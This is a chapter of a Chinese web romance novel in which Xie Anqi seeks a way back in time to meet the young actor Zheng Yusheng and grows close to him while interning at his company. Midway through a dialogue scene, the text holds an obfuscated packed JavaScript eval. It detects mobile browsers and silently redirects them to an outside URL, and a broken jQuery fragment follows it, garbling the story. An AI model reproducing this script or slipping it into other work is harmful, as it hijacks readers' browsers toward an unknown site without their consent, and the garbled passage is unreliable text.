谢安琪从梦中醒来时，天刚亮。


    天花板纹理还未在晨光中完全显露出来，她静静地睁着眼，头发散在枕上，像是刚刚落下的夜色。


    她并没有回到过去，并没有实体感。这是个困扰她的事情，但她依稀觉得应该是梦里见过，


    梦里少年郑禹胜坐在弘大的阶梯，单薄的黑衣，低头抱着吉他，神情疏离。他身边人影涌动，却像完全听不见周围人的声音。他只是坐在那里，眼神穿过人群，看向一个虚无的位置。


    她在梦中想要走近、喊他、触碰他。


    却像水中影子那样，被一层时间的玻璃隔住了。


    谢安琪坐起身，轻轻呼了口气。


    她知道梦不是幻觉。那是某种无法解释的“时间回溯”，某种情况下，她就能穿越回“他的人生”，但明显她昨天实验的方法失败了。


    如果她能看见过去的他，也许能找到那段时间里，她突然想知道的答案。但她也知道，这一切的基础，是找到办法。


    她捂着额头，半是懊悔半是羞愧地叹了口气。


    说实话，昨晚她确实是带着目的靠近的。可她没想到，他会那样认真。


    ……


    郑禹胜从那天之后，变得不一样了。


    谢安琪感受得到——他在不动声色地靠近她。


    他的kakao开始频繁出现在她的对话列表；他还给她转了一本小众摄影集，说“你之前说喜欢光影构图”；她回一句“谢谢”，他却沉默了很久，后来只是补一句：“书背后那张签名，是少年我写的。”他的语气还是克制的，而她，每次看见他时，心底就有一点模糊的酸。


    她想继续“实验”，继续寻找回去的办法，一次不行就再试一次，谢安琪这样安慰自己。她试着靠近别人，想复制梦境，但失败了。或许方法不在谢安琪认为的方法中，但依旧需要郑禹胜本人的牵引。


    ……


    大四下学期，她没能进NBS电视台的实习名单，可最后一轮出了问题。她没争辩，没解释，只是默默删掉了简历文件夹。


    几天后，她发现KCL也在招实习生。她几乎是条件反射般地否定了。可到了临近截止的夜晚，她还是点开了那个投递链接。


    【KCpany·新媒体部实习生】  她点开谷歌表格，提交时，她盯着进度条，心跳缓慢，像是知道这一投，就会改变什么。


    面试那天是个阴天。


    她穿着米色风衣，头发扎成低马尾，抱着一叠材料走进KCpany的落地电梯。她没告诉任何人她要来这家，甚至连自己也想假装这只是一场普通面试，反正郑禹胜天天拍戏，估计也没时间来面试吧。


    前台小姐姐给了她一个贴纸：“新媒体部，九号面试间。”她走进去时，桌边坐着两位HR，还有一位低头翻文件的男人。


    那一秒，她愣了。


    郑禹胜抬起头，看到她的那瞬间，眼神明显怔了几秒。他穿着深灰色衬衫，袖口卷起三分，眼底带着一点清晨没散尽的疲倦，却因她的出现微微清亮。


    HR笑着介绍：“这位是我们公司社长郑先生，他今天刚好在公司，说要一同了解我们的实习生。”


    她点头致意，语气平稳：“您好，郑先生。”


    郑禹胜只是“嗯”了一声，然后低头翻开了她的简历。


    目光停留了很久。


    “先自我介绍一下吧。”他突然开口，语气不温不火，“不过，你的专业多数学生都去NBS实习，你怎么考虑来KCpany的。”


    谢安琪沉默。


    然后她实话实说，“因为我没有申请上NSB的实习，所以来了。”


    谢安琪想：看吧我态度这么差，快淘汰我。


    他继续看着她，语气终于带上了点情绪：“所以，我的公司，是你最后的选择吗？”


    空气一瞬间冷下来。


    HR显然没想到他会直接说出这种话，一时间也沉默了。


    谢安琪抬起眼，看着他。她张口想说“我没有别的选择”，可那太假了。


    但一方面，她确实是主动来的。


    她自己都没意识到的，她不是来实习，是来——看他。


    面试似乎不是很好，结束后，郑禹胜在电梯里堵着她。谢安琪还记着郑禹胜先让hr离开，而后轻轻合上她的简历，低声道：“你每次靠近我，都带着目的，是不是？”


    谢安琪握紧了裙角。


    她知道他误会了。可她无法解释。


    她不能说出“我是为了试验怎么回到过去见年轻的你。” 那太荒谬，也太伤人。于是她只是沉默，像那天在床上醒来时一样，眼睫轻颤，却没给出回应。


    没有回答，电梯到1楼，他没再看她。


    两天后，谢安琪收到录用通知。


    邮件结尾只有一句附言：“我们在四楼有一间空办公室，钥匙在前台，郑先生说是你一个人的。”


    她第一次走进那间办公室时，桌上放着一本剧场摄影集，第一页贴着一张票根——


    【KCpany·春季特场】


    她心脏一震。


    这个电影集里很多郑禹胜年轻的时候的剧照，那是她和少年郑禹胜在擦身而过的时间。


    她忍不住猜测，或者郑禹胜知道。


    他一直记得她。


    或者说他认出了她，才会莫名其妙找她结婚吗？


    她却以为，只有自己拥有记忆。


    那天下班，她在楼下看见郑禹胜一个人坐在长椅上抽烟。


    他没有看到她。


    她却轻轻走过去，站在他面前，望着他说：“你为什么给我录取邮件？”


    他仰头看她，眼里一片疲惫。


    “因为我不想你走。”他说，“我希望你留下来。”


    “你知道我为什么来？”


    “我不知道。”他说，“这个无所谓，我只知道希望你留下来。”


    谢安琪喉头发紧。


    风吹过高楼玻璃，落在他未熄灭的烟上。


    谢安琪走过去，轻轻牵住了他伸出的手。


    郑禹胜抬头看她，眼神克制，但也带着坦然的爱意。


    “郑禹胜。”她轻轻喊了一声。


    他握紧她的手，像握住一个终于靠岸的梦。


    …


    KCpany四楼的办公间，灯是柔黄色的。


    谢安琪桌上每天一杯咖啡，跟自动刷新的一样，每次看到就知道是谁准备的，想到这，她试图理清脑子里缠绕不清的情绪。


    她来这家公司第三周了。


    除了入职第一天的“冷场面试”之外，她再没和郑禹胜正面交谈过。但他几乎每天都出现在四楼，开会、审片、陪客户，甚至偶尔在办公区的长桌旁安静看一份文案。


    他没有特权式的靠近她。


    但他总是在“刚好路过”、“恰好帮她拿文件”或者“无意中送外卖”中出现。


    比如前天中午。


    外卖小哥走错楼，她正焦急打电话，他却从电梯里走出来，顺手递来那份纸袋饭。


    “你是不是饿了？早上出门忘了带饭卡。”


    他说得自然又贴心，仿佛他们住在一起一样。


    谢安琪只看了他一眼，没说谢谢，默默把饭接过。


    郑禹胜却站着没走。


    “你昨天笔记写得不错，‘镜头与情绪同步’那句我很喜欢。”  他说完这句，又顿了下，“是你写的吧？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471773|169893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谢安琪低头：“是。”


    “那你喜欢哪部戏的镜头最动人？”


    她抬眸，语气不快不慢：“你演的那部《日落》，第52分钟，海边日出那一段。” （瞎编的电影）


    郑禹胜怔了怔。


    那是他成名之前拍的独立文艺片，极冷门。她能说出那一段，说明看得很认真。


    “那段拍得太冷了，”他说，“我当时是真的发烧，在海边站了两个小时。”


    “你看起来不冷。”她轻声道，“镜头里你背着光，眼神很温。”


    他望着她，忽然低笑一声：“谢安琪，我很难不误会你对我有感觉。”


    她没接话，只是低头咬了一口饭。


    那口饭很咸，像她强行压住的心跳。


    *


    那天晚上，她在公司楼下碰到他。


    她下班晚了，错过地铁，站在门口准备打车。


    他从楼道走出来，手里拎着剧组资料。


    “你要去哪？”


    “宿舍。”她下意识道。


    他把车钥匙递给她：“我开车送你。”


    “不用了。”她往后退了一步。


    “安琪。”他忽然叫她的名字，很低很慢，“你越来越逃我了吗？”


    她抬头看他。


    郑禹胜站在夜色里，背光的眼神显得更深。他不是在质问她，更像是单纯地难过。


    “你以前靠近我的时候，眼睛是亮的。”他说，“现在，你都不看我了。”


    她喉咙哽了哽，这个男人，呵！


    “你以为我是故意的吗？”她问。


    “不是吗？”


    “我不看你，是因为——”她顿了顿，“ 我在想见到年轻的你会如何？”


    话一出口，两人都静了。


    风吹过树叶，夏夜的蝉鸣都像隔了远。


    他轻轻呼出一口气。


    “怎么可能呢？”他低声问，“回到我的过去。”


    她睁大眼看他：“我知道。”


    他没有过去的记忆吗？


    谢安琪认为这是她适于猜测的问题得到了答案。


    “你也知道，我不能退了。”他说。


    谢安琪心底一阵疼。


    她曾经以为自己掌握主导权，可现在她才明白，真正主动靠近的人，一直是他。


    *


    次日公司晨会。


    她坐在后排做记录，郑禹胜照旧走进来，拿着一份剧本讨论会要用的分镜表。


    会议开始前，他坐在她身边，低声说了句：“你今天头发好看。”


    “谢谢。”


    “你剪了刘海？”


    “前几天就剪了。”


    “我最近拍戏，看得不太清。”他说，“不过现在看得很清楚。”


    谢安琪没再说话。


    可是整场会议她都没能集中注意力。


    郑禹胜在讲镜头语言，她却一直听到他低哑的声音在耳边说——“你也知道，我不能退了。”


    会议结束，她快步走出会议室。


    他追了出来，在走廊尽头叫住她。


    “谢安琪。”


    她转过头。


    “今晚陪我去个地方。”他说，


    她心跳漏了一拍：“哪里？”


    “带你见年轻的我。”


    她震惊地后退一步。


    “真假？”


    “当然是真的。”


    然后走过去，伸手抱住她。


    走廊的灯暖暖的，映在他肩膀上，也映在她的眼角。


    KCpany的大楼依旧灯火通明。


    没人知道，他们在冷白的职场走廊里，完成了比任何电影还动人的情节反转。